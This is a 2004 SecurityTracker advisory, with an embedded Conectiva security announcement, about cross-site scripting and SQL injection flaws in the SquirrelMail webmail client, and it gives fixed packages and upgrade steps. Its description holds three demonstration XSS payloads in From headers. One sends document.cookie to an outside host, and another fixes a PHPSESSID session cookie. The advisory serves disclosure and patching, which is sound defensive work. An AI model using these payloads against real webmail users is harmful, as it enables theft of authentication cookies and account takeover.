(Conectiva Issues Fix) SquirrelMail Input Validation Flaw in From Message Header Line Permits Cross-Site Scripting
|
|
SecurityTracker Alert ID: 1012724 |
|
SecurityTracker URL: http://securitytracker.com/id/1012724
|
|
CVE Reference:
CAN-2004-0520, CAN-2004-0639
(Links to External Site)
|
Date: Dec 30 2004
|
Impact:
Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Fix Available: Yes Vendor Confirmed: Yes
|
Version(s): prior to 1.4.3; 1.5.1 and prior development versions
|
Description:
An input validation vulnerability was reported in SquirrelMail. A remote user can conduct cross-site scripting attacks.
Roman Medina reported that a remote user can send a specially crafted e-mail to a target user that, when view by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the SquirrelMail software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
According to the report, certain attachment parameters are not properly filtered.
Some demonstration exploit "From" header line examples are provided:
From:<!--<>(-->John Doe<script>window.alert(document.cookie);</script><>
From:(<!--(--><script>document.location='http://www.rs-labs.com/?'+document.cookie;</script><>
From:<!--<>(-->John Doe<script>document.cookie='PHPSESSID=xxx; path=/';</script><>
The vendor was reportedly notified on May 22, 2004.
The original advisory is available at:
http://www.rs-labs.com/adv/RS-Labs-Advisory-2004-1.txt
|
Impact:
A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the SquirrelMail software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
|
Solution:
Conectiva has released a fix.
ftp://atualizacoes.conectiva.com.br/9/SRPMS/squirrelmail-1.4.3a-13677U90_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/9/RPMS/squirrelmail-1.4.3a-13677U90_1cl.noarch.rpm
ftp://atualizacoes.conectiva.com.br/9/RPMS/squirrelmail-doc-1.4.3a-13677U90_1cl.noarch.rpm
|
Vendor URL: www.squirrelmail.org/ (Links to External Site)
|
Cause:
Input validation error
|
Underlying OS:
Linux (Conectiva)
|
|
Message History:
This archive entry is a follow-up to the message listed below.
|
Source Message Contents
|
Date: Thu, 12 Aug 2004 11:12:37 -0300
Subject: [Conectiva-updates] [CLA-2004:858] Conectiva Security Announcement
|
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- --------------------------------------------------------------------------
CONECTIVA LINUX SECURITY ANNOUNCEMENT
- --------------------------------------------------------------------------
PACKAGE : squirrelmail
SUMMARY : Several vulnerabilities in SquirrelMail
DATE : 2004-08-12 11:11:00
ID : CLA-2004:858
RELEVANT
RELEASES : 9
- -------------------------------------------------------------------------
DESCRIPTION
SquirrelMail[1] is a widely used webmail client for php4.
Four vulnerabilities were discovered in SquirrelMail:
Alvin Alex reported[2] that SquirrelMail 1.4.2 is prone to multiple
cross-site scripting[3] attacks which could allow remote attackers to
execute arbitrary script as other users and possibly steal
authentication information via multiple attack vectors, including the
mailbox parameter in compose.php.
Roman Medina discovered[4] a cross-site scripting (XSS)
vulnerability[5] in mime.php for SquirrelMail before 1.4.3 that
allows remote attackers to insert arbitrary HTML and script code via
the content-type mail header, as demonstrated using read_body.php.
An SQL injection vulnerability[6] in SquirrelMail before 1.4.3 RC1
allows remote attackers to execute unauthorized SQL statements, with
unknown impact, probably via abook_database.php.
Roman Medina also found[7] other multiple cross-site scripting (XSS)
vulnerabilities[8] in SquirrelMail 1.2.10 and earlier that allows
remote attackers to inject arbitrary HTML or script via (a) the
$mailer variable in read_body.php, (b) the $senderNames_part variable
in mailbox_display.php, and possibly other vectors including (c) the
$event_title variable or (d) the $event_text variable.
SOLUTION
It is recommended that all SquirrelMail users upgrade their
packages.
REFERENCES
1.http://www.squirrelmail.org/
2.http://www.securityfocus.com/archive/1/361831/2004-08-08/2004-08-14/2
3.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0519
4.http://marc.theaimsgroup.com/?l=bugtraq&m=108611554415078&w=2
5.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0520
6.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0521
7.http://marc.theaimsgroup.com/?l=bugtraq&m=108611554415078&w=2
8.http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0639
UPDATED PACKAGES
ftp://atualizacoes.conectiva.com.br/9/SRPMS/squirrelmail-1.4.3a-13677U90_1cl.src.rpm
ftp://atualizacoes.conectiva.com.br/9/RPMS/squirrelmail-1.4.3a-13677U90_1cl.noarch.rpm
ftp://atualizacoes.conectiva.com.br/9/RPMS/squirrelmail-doc-1.4.3a-13677U90_1cl.noarch.rpm
ADDITIONAL INSTRUCTIONS
The apt tool can be used to perform RPM packages upgrades:
- run: apt-get update
- after that, execute: apt-get upgrade
Detailed instructions regarding the use of apt and upgrade examples
can be found at http://distro.conectiva.com.br/atualizacoes/#apt?idioma=en
- -------------------------------------------------------------------------
All packages are signed with Conectiva's GPG key. The key and instructions
on how to import it can be found at
http://distro.conectiva.com.br/seguranca/chave/?idioma=en
Instructions on how to check the signatures of the RPM packages can be
found at http://distro.conectiva.com.br/seguranca/politica/?idioma=en
- -------------------------------------------------------------------------
All our advisories and generic update instructions can be viewed at
http://distro.conectiva.com.br/atualizacoes/?idioma=en
- -------------------------------------------------------------------------
Copyright (c) 2004 Conectiva Inc.
http://www.conectiva.com
- -------------------------------------------------------------------------
subscribe: conectiva-updates-subscribe@papaleguas.conectiva.com.br
unsubscribe: conectiva-updates-unsubscribe@papaleguas.conectiva.com.br
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
Comment: For info see http://www.gnupg.org
iD8DBQFBG3rU42jd0JmAcZARAnxTAKDVZD4G6yc0VvbczuA7L41hYpHmogCgkPwo
jMYI6B5518AYNJGPTO4vxvI=
=gkVq
-----END PGP SIGNATURE-----
______________________________________________________________________
subscribe: conectiva-updates-subscribe@papaleguas.conectiva.com.br
unsubscribe: conectiva-updates-unsubscribe@papaleguas.conectiva.com.br
|
|